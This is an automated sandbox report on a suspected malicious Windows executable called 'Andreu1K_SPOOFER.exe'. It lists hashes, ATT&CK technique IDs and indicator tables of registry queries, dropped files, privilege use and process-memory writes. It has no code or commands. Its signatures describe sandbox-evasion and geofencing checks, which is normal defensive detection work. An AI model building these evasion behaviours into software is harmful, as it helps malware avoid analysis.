376c9370272a7da7751aafbe96b034cfa96a6214ca3b306eb5cfbac17ff636e5

Analysis

max time kernel
221s
max time network
256s
platform
windows10-1703_x64
resource
win10-20230915-en
resource tags

arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
submitted
07/10/2023, 03:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Andreu1K_SPOOFER.exe
Size

29KB
MD5

bc2eedb59169024a83a7e9f421c17dfe
SHA1

749c827de22e5cef574112cd922bb773206b30bd
SHA256

376c9370272a7da7751aafbe96b034cfa96a6214ca3b306eb5cfbac17ff636e5
SHA512

901b6e9a01e17dcf73aa05a2f4642b0ec1a052111ad48e9e7b026b9cd6cf41f741a764f3676a07dad5292f577930ff860b18bf429e8a13552dbe0d4f0d6bec6b
SSDEEP

384:ePv1AlhXKCjkLX7sOo4Nihez9bPL7dXbEKjpqpot/VjF0O82jkEZsTOzc7mncySW:3lICGF5J0LQN0OcfHx7B

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
5140	Andreu1K_SPOOFER.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\1601268389\3877292338.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\4183903823\810424605.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\discord.com\Total = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com\ = "2439"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 470357b3cbf8d901	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com\NumberOfSubdomains = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com\ = "543"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com\Total = "2439"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\bing.com\Total = "604"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\Total\ = "652"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 0bf0deaccbf8d901	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\Total\ = "23"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\discord.com\ = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "395205405"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\ClearBrowsingHistoryOnStart = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\EdpDomStorage\bing.com\ = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 1b9dbdc1cbf8d901	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\discord.com\ = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e787bdb3cbf8d901	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DomStorageState	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-844837608-3875958368-2945961404-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\Andreu1K_SPOOFER.exe:Zone.Identifier	firefox.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
324	taskmgr.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
4984	MicrosoftEdgeCP.exe
4984	MicrosoftEdgeCP.exe
4984	MicrosoftEdgeCP.exe
4984	MicrosoftEdgeCP.exe
4984	MicrosoftEdgeCP.exe
4984	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	4008	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4008	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4008	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4008	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1508	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1508	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	324	taskmgr.exe
Token: SeSystemProfilePrivilege	324	taskmgr.exe
Token: SeCreateGlobalPrivilege	324	taskmgr.exe
Token: SeDebugPrivilege	4520	MicrosoftEdge.exe
Token: SeDebugPrivilege	4520	MicrosoftEdge.exe
Token: SeDebugPrivilege	2176	firefox.exe
Token: SeDebugPrivilege	2176	firefox.exe
Token: SeDebugPrivilege	2176	firefox.exe
Token: SeDebugPrivilege	2176	firefox.exe
Token: SeDebugPrivilege	2176	firefox.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
2176	firefox.exe
324	taskmgr.exe
324	taskmgr.exe
2176	firefox.exe
2176	firefox.exe
2176	firefox.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
2176	firefox.exe
324	taskmgr.exe
324	taskmgr.exe
2176	firefox.exe
2176	firefox.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe
324	taskmgr.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4520	MicrosoftEdge.exe
4984	MicrosoftEdgeCP.exe
4008	MicrosoftEdgeCP.exe
4984	MicrosoftEdgeCP.exe
5032	MicrosoftEdgeCP.exe
4520	MicrosoftEdge.exe
4520	MicrosoftEdge.exe
2176	firefox.exe
2176	firefox.exe
2176	firefox.exe
2176	firefox.exe
5140	Andreu1K_SPOOFER.exe
7880	MicrosoftEdge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4840 wrote to memory of 2044	4840	Andreu1K_SPOOFER.exe	71
PID 4840 wrote to memory of 2044	4840	Andreu1K_SPOOFER.exe	71
PID 4840 wrote to memory of 4552	4840	Andreu1K_SPOOFER.exe	72
